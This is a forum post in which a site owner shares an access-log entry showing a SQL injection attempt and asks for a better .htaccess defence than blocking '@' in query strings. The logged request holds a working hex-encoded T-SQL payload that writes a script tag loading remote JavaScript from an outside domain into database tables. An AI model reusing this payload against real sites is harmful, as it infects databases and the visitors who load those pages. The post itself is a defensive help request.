Hello,

I have some suspicious activities on my web site. This is trying to attack my site with an SQL injection technique. Here is what I have in my access_log:
Code:
76.108.90.33 - - [16/Oct/2008:02:50:53 -0600] "GET /product_info.php?pName=product';DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172
283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F5220736
56C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973
636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752
720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970
653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204
645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320
5748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617
465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F74
69746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F637
37273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E
6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2
F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27
2727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542
C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4341544520546162
6C655F437572736F72%20AS%20CHAR(4000));ExEC(@S); HTTP/1.1" 200 8973 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705)"
One possible defense is to write a .htaccess rule that fails the request if the GET parameters include a "@" character. The rule that I use is:
Code:
RewriteCond %{QUERY_STRING} @ [NC]
RewriteRule ^ - [F]
The rule seems to be working fine. However, I just found that this rewrite rule creates a problem with a normal occurence of @ at my site. I have a survey page, the URL looks like this: http://store.com/survey.php?&email=v...&order_num=622. When I enter the link to survey page, I get:
Forbidden
You don't have permission to access /survey.php on this server.
Since an e-mail address does have an @ symbol, that rewrite rule matches and sends a Forbidden page.

Is there any other way I can prevent attack attempts or rewrite the rule, so it won't interfere with my other pages with the normal @ occurences?

Thanks.